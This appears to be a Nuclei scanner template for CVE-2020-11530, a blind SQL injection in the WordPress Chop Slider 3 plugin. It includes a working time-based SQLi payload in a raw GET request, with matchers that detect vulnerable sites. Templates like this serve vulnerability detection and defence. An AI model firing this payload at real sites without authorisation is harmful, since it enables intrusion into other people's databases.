id: CVE-2020-11530

info:
  name: WordPress Chop Slider 3 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Chop Slider 3 plugin contains a blind SQL injection vulnerability via the id GET parameter supplied to get_script/index.php. The plugin can allow an attacker to execute arbitrary SQL queries in the context of the WP database user, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Update to the latest version of the WordPress Chop Slider 3 plugin to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f10cd7d7-6a31-48e5-994c-b100c846001a
    - https://github.com/idangerous/plugins/tree/master/Chop%20Slider%203/Chop%20Slider%203%20Wordpress
    - https://idangero.us/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11530
    - http://seclists.org/fulldisclosure/2020/May/26
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11530
    cwe-id: CWE-89
    epss-score: 0.95657
    epss-percentile: 0.99861
    cpe: cpe:2.3:a:idangero:chop_slider:3.0:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: idangero
    product: chop_slider
    framework: wordpress
  tags: time-based-sqli,cve,cve2020,wpscan,seclists,sqli,wordpress,wp-plugin,wp,chopslider,unauth,idangero,vkev,vuln

http:
  - raw:
      - |
        @timeout 10s
        GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/javascript")'
          - 'contains(body, "$(document).ready(function()")'
        condition: and
# digest: 4b0a0048304602210089631bd3d94a07010abe356e711459670d0094a6b5f824fd00b85349cbd4c5aa02210081a965196dfbb458541b167a8bfcf60d9e3c713828ab30e9b0d4db98c8b14862:922c64590222798bb761d5b6d8e72950